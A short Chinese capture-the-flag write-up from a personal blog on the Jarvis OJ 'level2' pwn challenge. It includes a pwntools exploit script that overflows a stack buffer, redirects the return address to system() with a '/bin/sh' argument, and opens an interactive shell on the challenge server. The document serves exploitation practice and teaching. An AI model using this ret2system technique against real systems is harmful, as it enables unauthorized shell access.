简单利用“/bin/sh”夺权
简单看一下
放到ida中发现了“/bin/sh”串,和system函数,可以利用==
所以只要在vuln函数返回时跳转到system函数,同时添加参数“/bin/sh”就可以实现啦
#!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * io = remote("pwn2.jarvisoj.com",9878) elf = ELF("./level2") sys_addr = elf.symbols["system"] bin_addr = elf.search("/bin/sh").next() payload = ‘a‘*(0x88 + 0x4) #辣鸡填充值 payload += p32(sys_addr) #覆盖返回地址到system函数 payload += p32(0xdeadbeef) #随意填写system函数调用结束的返回地址 payload += p32(bin_addr) #system函数的参数,指向“/bin/sh”,实现调用 io.recvline() io.sendline(payload) io.interactive() io.close()
此时程序流程如图
放成果图
其实这种没有PIE保护的程序,很多函数地址可以直接从ida中复制过来,在exp中直接赋值为0x8048···,但是为了增强普适性,均使用symbols函数获得
作者:辣鸡小谱尼
出处:http://www.cnblogs.com/WangAoBo/
如有转载,荣幸之至!请随手标明出处;
时间: 2024-10-13 09:44:42